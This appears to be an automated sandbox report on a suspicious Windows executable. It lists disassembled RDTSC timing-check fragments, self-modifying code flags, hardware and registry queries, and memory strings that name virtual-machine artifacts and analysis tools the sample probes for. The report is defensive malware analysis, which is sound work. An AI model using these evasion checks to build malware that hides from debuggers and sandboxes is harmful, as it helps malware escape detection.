Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75D0063 second address: 75D0076 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA37887CBEFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75D0076 second address: 75D0097 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007FA378880E31h 0x00000011 pop esi 0x00000012 push edi 0x00000013 pop esi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75D0097 second address: 75D010B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA37887CBF8h 0x00000009 sub ax, 1778h 0x0000000e jmp 00007FA37887CBEBh 0x00000013 popfd 0x00000014 mov si, 0EAFh 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d mov cx, 24A7h 0x00000021 mov eax, 03C16443h 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 jmp 00007FA37887CBF6h 0x0000002e and esp, FFFFFFF0h 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FA37887CBF7h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75D010B second address: 75D0174 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 44h 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FA378880E2Ch 0x00000013 xor si, 35C8h 0x00000018 jmp 00007FA378880E2Bh 0x0000001d popfd 0x0000001e push eax 0x0000001f push edx 0x00000020 pushfd 0x00000021 jmp 00007FA378880E36h 0x00000026 xor cx, 3828h 0x0000002b jmp 00007FA378880E2Bh 0x00000030 popfd 0x00000031 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75D0174 second address: 75D0218 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebx 0x00000008 jmp 00007FA37887CBF4h 0x0000000d push eax 0x0000000e jmp 00007FA37887CBEBh 0x00000013 xchg eax, ebx 0x00000014 pushad 0x00000015 mov dx, ax 0x00000018 pushfd 0x00000019 jmp 00007FA37887CBF0h 0x0000001e or cx, 4CE8h 0x00000023 jmp 00007FA37887CBEBh 0x00000028 popfd 0x00000029 popad 0x0000002a xchg eax, esi 0x0000002b jmp 00007FA37887CBF6h 0x00000030 push eax 0x00000031 jmp 00007FA37887CBEBh 0x00000036 xchg eax, esi 0x00000037 jmp 00007FA37887CBF6h 0x0000003c xchg eax, edi 0x0000003d pushad 0x0000003e mov dx, ax 0x00000041 mov ecx, 57963AF9h 0x00000046 popad 0x00000047 push eax 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007FA37887CBEBh 0x00000050 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75D0218 second address: 75D0258 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA378880E38h 0x00000008 sub ecx, 76C70F38h 0x0000000e jmp 00007FA378880E2Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov edx, esi 0x00000018 popad 0x00000019 xchg eax, edi 0x0000001a pushad 0x0000001b mov ah, 7Fh 0x0000001d popad 0x0000001e mov edi, dword ptr [ebp+08h] 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75D0258 second address: 75D025C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75D025C second address: 75D0277 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75D0277 second address: 75D027D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75D027D second address: 75D02A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+24h], 00000000h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push esi 0x00000014 pop edx 0x00000015 call 00007FA378880E34h 0x0000001a pop esi 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75D02A8 second address: 75D02EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 40D041EDh 0x00000008 mov di, si 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e lock bts dword ptr [edi], 00000000h 0x00000013 jmp 00007FA37887CBF4h 0x00000018 jc 00007FA3E816ED4Ah 0x0000001e jmp 00007FA37887CBF0h 0x00000023 pop edi 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75D02EC second address: 75D02F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75D02F0 second address: 75D02F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75D02F6 second address: 75D02FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75D02FB second address: 75D0354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, 87D7h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c jmp 00007FA37887CBEAh 0x00000011 pop ebx 0x00000012 pushad 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FA37887CBECh 0x0000001a sub ah, 00000078h 0x0000001d jmp 00007FA37887CBEBh 0x00000022 popfd 0x00000023 popad 0x00000024 mov ax, 64CBh 0x00000028 popad 0x00000029 mov esp, ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FA37887CBF8h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75D0354 second address: 75D0358 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75D0358 second address: 75D035E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75D035E second address: 75D0377 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75D0377 second address: 75D037B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75D037B second address: 75D037F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75D037F second address: 75D0385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 760084F second address: 7600855 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7600855 second address: 7600859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7600859 second address: 76008A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FA378880E2Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007FA378880E30h 0x00000016 mov ebp, esp 0x00000018 jmp 00007FA378880E30h 0x0000001d pop ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FA378880E2Ah 0x00000027 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76008A2 second address: 76008A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76008A6 second address: 76008AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76008AC second address: 76008B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76008B2 second address: 76008B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76008B6 second address: 76008BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75F085D second address: 75F0873 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75F0873 second address: 75F0894 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov si, EA2Bh 0x0000000f mov ax, FE07h 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75F0894 second address: 75F0898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75F0898 second address: 75F089E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75F089E second address: 75F08DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FA378880E2Eh 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FA378880E37h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75F08DD second address: 75F094D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA37887CBEFh 0x00000009 jmp 00007FA37887CBF3h 0x0000000e popfd 0x0000000f mov ecx, 7247B49Fh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FA37887CBF7h 0x00000021 xor esi, 4092539Eh 0x00000027 jmp 00007FA37887CBF9h 0x0000002c popfd 0x0000002d mov si, A367h 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7600A5D second address: 7600A78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA378880E37h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7600A78 second address: 7600A87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7600A87 second address: 7600A8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7600A8B second address: 7600A91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7600A91 second address: 7600A97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7600A97 second address: 7600A9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7600A9B second address: 7600A9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7600A9F second address: 7600ABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA37887CBF3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7600ABF second address: 7600B12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA378880E2Fh 0x00000009 sbb si, 4BAEh 0x0000000e jmp 00007FA378880E39h 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FA378880E36h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7600B12 second address: 7600B21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7600B21 second address: 7600B80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA378880E2Fh 0x00000009 sub ah, 0000001Eh 0x0000000c jmp 00007FA378880E39h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007FA378880E30h 0x00000018 adc ecx, 783D2518h 0x0000001e jmp 00007FA378880E2Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 push dword ptr [ebp+04h] 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7600B80 second address: 7600B84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7600B84 second address: 7600B8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 766062F second address: 7660666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dl, byte ptr [ebp+14h] 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FA37887CBEBh 0x00000011 xor cx, 6CFEh 0x00000016 jmp 00007FA37887CBF9h 0x0000001b popfd 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7660666 second address: 766066C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 766066C second address: 76606A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBF3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebp+10h] 0x0000000e jmp 00007FA37887CBF6h 0x00000013 and dl, 00000007h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76606A7 second address: 76606C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76606C4 second address: 76606FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test eax, eax 0x0000000d jmp 00007FA37887CBEFh 0x00000012 je 00007FA3E81026F8h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FA37887CBF5h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76606FD second address: 7660720 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ecx, ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA378880E2Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7660720 second address: 7660726 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7640E1D second address: 7640E71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA378880E2Fh 0x00000009 add al, 0000007Eh 0x0000000c jmp 00007FA378880E39h 0x00000011 popfd 0x00000012 call 00007FA378880E30h 0x00000017 pop esi 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FA378880E2Dh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76503F6 second address: 76503FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76503FA second address: 7650400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7650400 second address: 7650419 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA37887CBF5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7650419 second address: 765044F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA378880E38h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 765044F second address: 765045E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 765045E second address: 76504C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c movzx esi, bx 0x0000000f mov ecx, edx 0x00000011 popad 0x00000012 push esp 0x00000013 jmp 00007FA378880E30h 0x00000018 mov dword ptr [esp], ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FA378880E2Dh 0x00000024 sub ch, 00000026h 0x00000027 jmp 00007FA378880E31h 0x0000002c popfd 0x0000002d push ecx 0x0000002e pop edi 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76504C1 second address: 76504ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBEDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FA37887CBEEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov bx, si 0x00000016 mov cx, BB2Fh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76504ED second address: 765050D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSpecial instruction interceptor: First address: FB19D4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSpecial instruction interceptor: First address: FB1A7C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSpecial instruction interceptor: First address: FB19DA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSpecial instruction interceptor: First address: 114C1C5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSpecial instruction interceptor: First address: 1175B10 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSpecial instruction interceptor: First address: 11D5C8B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRegistry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDescJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersionJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersionJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00AB9980 rdtsc 0_2_00AB9980
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_008D255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,SHGetKnownFolderPath,FindFirstFileW,FindNextFileW,K32EnumProcesses,0_2_008D255D
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_008D29FF FindFirstFileA,RegOpenKeyExA,CharUpperA,CreateToolhelp32Snapshot,QueryFullProcessImageNameA,CloseHandle,CreateToolhelp32Snapshot,CloseHandle,0_2_008D29FF
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_008D255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,SHGetKnownFolderPath,FindFirstFileW,FindNextFileW,K32EnumProcesses,0_2_008D255D
Source: 4o4t8dO4r1.exe, 4o4t8dO4r1.exe, 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 4o4t8dO4r1.exe, 00000000.00000003.2100761856.0000000001AB1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllV
Source: 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: 4o4t8dO4r1.exeBinary or memory string: Hyper-V RAW
Source: 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\*recent_filesprocessesuptime_minutesC:\Windows\System32\VBox*.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: 4o4t8dO4r1.exe, 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 4o4t8dO4r1.exe, 00000000.00000003.2199036976.0000000001B17000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2198890830.0000000001B0C000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2198975736.0000000001B12000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2198382746.0000000001B05000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000002.2214504293.0000000001B18000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
